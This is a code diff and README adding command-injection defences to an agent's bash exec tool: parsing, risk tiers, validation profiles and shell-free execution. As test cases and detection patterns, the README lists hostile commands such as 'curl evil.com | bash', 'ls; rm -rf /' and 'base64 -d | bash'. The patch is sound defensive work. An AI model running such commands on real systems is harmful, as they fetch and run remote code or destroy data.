Fix command injection vulnerability in bash-tools.exec.ts

src/agents/bash-tools.exec.ts

@@ -4,6 +4,15 @@ import { Type } from "@sinclair/typebox";
 import crypto from "node:crypto";
 import path from "node:path";
 import type { BashSandboxConfig } from "./bash-tools.shared.js";
+import { parseCommand } from "../security/command-parser.js";
+import { validateCommand, SECURITY_PROFILES } from "../security/command-validator.js";
+import { 
+  CommandSecurityError, 
+  CommandTier, 
+  RiskIndicator,
+  ParsedCommand,
+  ValidationResult
+} from "../security/command-security-types.js";
 import {
   type ExecAsk,
   type ExecHost,
@@ -433,14 +442,64 @@ async function runExecProcess(opts: {
   sessionKey?: string;
   timeoutSec: number;
   onUpdate?: (partialResult: AgentToolResult<ExecToolDetails>) => void;
+  // Security enhancement parameters
+  parsedCommand?: ParsedCommand;
+  validationResult?: ValidationResult;
 }): Promise<ExecProcessHandle> {
   const startedAt = Date.now();
   const sessionId = createSessionSlug();
   let child: ChildProcessWithoutNullStreams | null = null;
   let pty: PtyHandle | null = null;
   let stdin: SessionStdin | undefined;
 
-  if (opts.sandbox) {
+  // Security enhancement: Use secure execution for simple commands
+  const shouldUseDirectExecution = opts.parsedCommand?.tier === CommandTier.SIMPLE && 
+    opts.validationResult?.executionMethod === 'direct' && 
+    !opts.sandbox && 
+    !opts.usePty;
+
+  if (shouldUseDirectExecution && opts.parsedCommand && opts.validationResult) {
+    // SECURITY: Execute simple commands without shell to prevent injection
+    try {
+      const { child: spawned } = await spawnWithFallback({
+        argv: [opts.parsedCommand.executable, ...opts.parsedCommand.arguments],
+        options: {
+          cwd: opts.workdir,
+          env: opts.env,
+          detached: process.platform !== "win32",
+          stdio: ["pipe", "pipe", "pipe"],
+          windowsHide: true,
+          // CRITICAL: No shell interpretation for security
+          shell: false,
+        },
+        fallbacks: [
+          {
+            label: "no-detach",
+            options: { detached: false },
+          },
+        ],
+        onFallback: (err, fallback) => {
+          const errText = formatSpawnError(err);
+          const warning = `Warning: secure spawn failed (${errText}); retrying with ${fallback.label}.`;
+          logWarn(`exec: secure spawn failed (${errText}); retrying with ${fallback.label}.`);
+          opts.warnings.push(warning);
+        },
+      });
+      child = spawned as ChildProcessWithoutNullStreams;
+      stdin = child.stdin;
+
+      // Log the secure execution for audit trail
+      logInfo(`exec: using secure direct execution for command: ${opts.parsedCommand.executable} (no shell)`);
+    } catch (err) {
+      const errText = String(err);
+      opts.warnings.push(`Warning: secure execution failed (${errText}), falling back to shell execution.`);
+      logWarn(`exec: secure execution failed (${errText}), falling back to shell execution.`);
+      // Fall through to regular shell execution below
+    }
+  }
+
+  // Regular execution paths (when secure execution isn't used or failed)
+  if (!child && !pty && opts.sandbox) {
     const { child: spawned } = await spawnWithFallback({
       argv: [
         "docker",
@@ -849,9 +908,50 @@ export function createExecTool(
         throw new Error("Provide a command to start.");
       }
 
+      // SECURITY: Parse and validate command for injection vulnerabilities
+      let parsedCommand;
+      try {
+        parsedCommand = parseCommand(params.command);
+      } catch (error) {
+        if (error instanceof CommandSecurityError) {
+          throw new Error(`Command security violation: ${error.message}`);
+        }
+        throw new Error(`Command parsing failed: ${error}`);
+      }
+
+      // Determine security profile based on context
+      let securityProfile = 'standard';
+      if (defaults?.messageProvider === 'ai' || defaults?.messageProvider === 'agent') {
+        securityProfile = 'strict';  // Use strict profile for AI-generated commands
+      }
+      if (defaults?.sandbox) {
+        securityProfile = 'sandbox';  // Sandbox execution is available
+      }
+
+      // Validate command against security policy
+      const securityConfig = SECURITY_PROFILES[securityProfile];
+      const validation = validateCommand(parsedCommand, securityConfig);
+
+      if (!validation.valid) {
+        const errorMsg = `Command blocked for security reasons: ${validation.errors.join('; ')}`;
+        logWarn(`exec: ${errorMsg} (command: ${params.command})`);
+        throw new Error(errorMsg);
+      }
+
+      // Log security analysis for audit trail
+      logInfo(`exec: security analysis - tier: ${CommandTier[parsedCommand.tier]}, ` +
+        `method: ${validation.executionMethod}, ` +
+        `features: [${parsedCommand.shellFeatures.join(', ')}], ` +
+        `risks: [${parsedCommand.riskIndicators.map(r => RiskIndicator[r]).join(', ')}]`);
+
       const maxOutput = DEFAULT_MAX_OUTPUT;
       const pendingMaxOutput = DEFAULT_PENDING_MAX_OUTPUT;
       const warnings: string[] = [];
+
+      // Add security warnings to the warnings array
+      if (validation.warnings.length > 0) {
+        warnings.push(...validation.warnings.map(w => `Security: ${w}`));
+      }
       const backgroundRequested = params.background === true;
       const yieldRequested = typeof params.yieldMs === "number";
       if (!allowBackground && (backgroundRequested || yieldRequested)) {
@@ -1426,6 +1526,8 @@ export function createExecTool(
                 scopeKey: defaults?.scopeKey,
                 sessionKey: notifySessionKey,
                 timeoutSec: effectiveTimeout,
+                parsedCommand,
+                validationResult: validation,
               });
             } catch {
               emitExecSystemEvent(
@@ -1523,6 +1625,8 @@ export function createExecTool(
         sessionKey: notifySessionKey,
         timeoutSec: effectiveTimeout,
         onUpdate,
+        parsedCommand,
+        validationResult: validation,
       });
 
       let yielded = false;

src/security/README.md

@@ -0,0 +1,139 @@
+# Command Injection Security Fix
+
+## Overview
+
+This security module addresses **CWE-78: Command Injection via Shell Command Execution** vulnerability in the bash tools exec functionality. The vulnerability existed because user-controlled command strings were passed directly to shell execution without proper sanitization.
+
+## Vulnerability Description
+
+**Original Issue:** The exec tool directly passed `params.command` to shell interpreters (bash, sh, PowerShell) without validation, allowing command injection attacks through shell metacharacters like `;`, `&`, `|`, `$()`, backticks, etc.
+
+**Risk Level:** High - Could lead to complete system compromise, data exfiltration, or lateral movement.
+
+## Security Solution
+
+### 1. Command Parsing and Classification
+
+Commands are parsed and classified into three security tiers:
+
+- **SIMPLE** (Tier 1): No shell features detected, safe for direct execution
+- **COMPLEX** (Tier 2): Contains shell features like pipes, redirects, requires approval
+- **HIGH_RISK** (Tier 3): Contains dangerous patterns, blocked or sandboxed
+
+### 2. Risk Detection Patterns
+
+The system detects various attack patterns:
+
+```typescript
+enum RiskIndicator {
+  NETWORK_FETCH = 'network_fetch',      // curl, wget piped to shell
+  RECURSIVE_DELETE = 'recursive_delete', // rm -rf
+  SYSTEM_MODIFICATION = 'system_mod',    // chmod, chown on system paths
+  ENCODED_PAYLOAD = 'encoded_payload',   // base64 -d | bash
+  PRIVILEGE_ESCALATION = 'priv_esc',     // sudo, su
+  HIDDEN_COMMAND = 'hidden_command',     // Unicode obfuscation
+  PATH_TRAVERSAL = 'path_traversal',     // ../../
+  SHELL_EXECUTION = 'shell_execution',   // sh -c with commands
+}
+```
+
+### 3. Secure Execution Methods
+
+- **Direct Execution**: Simple commands bypass shell interpretation entirely
+- **Shell Execution**: Complex commands use restricted shell options with validation
+- **Sandbox Execution**: High-risk commands run in isolated Docker containers
+
+### 4. Security Profiles
+
+Different execution contexts use appropriate security profiles:
+
+- **Strict**: For AI-generated commands, limited executable allowlist
+- **Standard**: For interactive use, balanced security and functionality  
+- **Sandbox**: All commands run in isolated containers
+
+## Implementation Details
+
+### Files Added
+
+1. **`command-security-types.ts`** - Type definitions for security system
+2. **`command-parser.ts`** - Command parsing and risk detection logic
+3. **`command-validator.ts`** - Security policy enforcement and validation
+4. **`security-tests.ts`** - Test cases demonstrating functionality
+
+### Integration Points
+
+The security system is integrated into the main exec tool at these key points:
+
+1. **Command Validation** - Added at the start of the execute function
+2. **Secure Execution** - Enhanced `runExecProcess` with direct execution for simple commands
+3. **Audit Logging** - All commands logged with security analysis for compliance
+
+### Example Usage
+
+```typescript
+// Parse and validate a command
+const parsed = parseCommand(userCommand);
+const validation = validateCommand(parsed, SECURITY_PROFILES.strict);
+
+if (!validation.valid) {
+  throw new Error(`Command blocked: ${validation.errors.join('; ')}`);
+}
+
+// Log security analysis
+logInfo(`exec: security analysis - tier: ${CommandTier[parsed.tier]}, ` +
+  `method: ${validation.executionMethod}`);
+```
+
+## Testing
+
+Run the security tests to verify functionality:
+
+```bash
+node --loader ts-node/esm src/security/security-tests.ts
+```
+
+### Test Cases Include
+
+1. **Simple Commands**: `ls -la` → Direct execution (no shell)
+2. **Command Chaining**: `ls; rm -rf /` → Blocked as high-risk
+3. **Network Injection**: `curl evil.com | bash` → Blocked as high-risk
+4. **Legitimate Pipes**: `find . | grep txt` → Approved with warning
+5. **Command Substitution**: `echo $(whoami)` → Requires approval
+6. **Privilege Escalation**: `sudo rm file` → Blocked or sandboxed
+
+## Security Benefits
+
+1. **Prevents Command Injection**: Shell metacharacters are parsed and validated
+2. **Defense in Depth**: Multiple layers of protection (parsing, validation, execution isolation)
+3. **Audit Trail**: All commands logged with security analysis
+4. **Flexible Policies**: Different security profiles for different contexts
+5. **Graceful Degradation**: Simple commands execute securely without shell overhead
+
+## Backward Compatibility
+
+- Existing simple commands continue to work but execute more securely
+- Complex legitimate commands require approval but remain functional
+- High-risk operations are blocked by default but can be enabled in sandbox mode
+- Security warnings are added to help users understand command classification
+
+## Configuration
+
+Security profiles can be customized in `command-validator.ts`:
+
+```typescript
+export const SECURITY_PROFILES: Record<string, CommandSecurityConfig> = {
+  strict: {
+    allowedExecutables: ['ls', 'cat', 'grep', ...],
+    blockedExecutables: ['rm', 'sudo', ...],
+    blockTier3: true,
+  },
+  // ... other profiles
+};
+```
+
+## Compliance
+
+This fix addresses:
+- **CWE-78**: OS Command Injection
+- **OWASP Top 10**: A03:2021 – Injection
+- **Security best practices** for shell command execution in server environments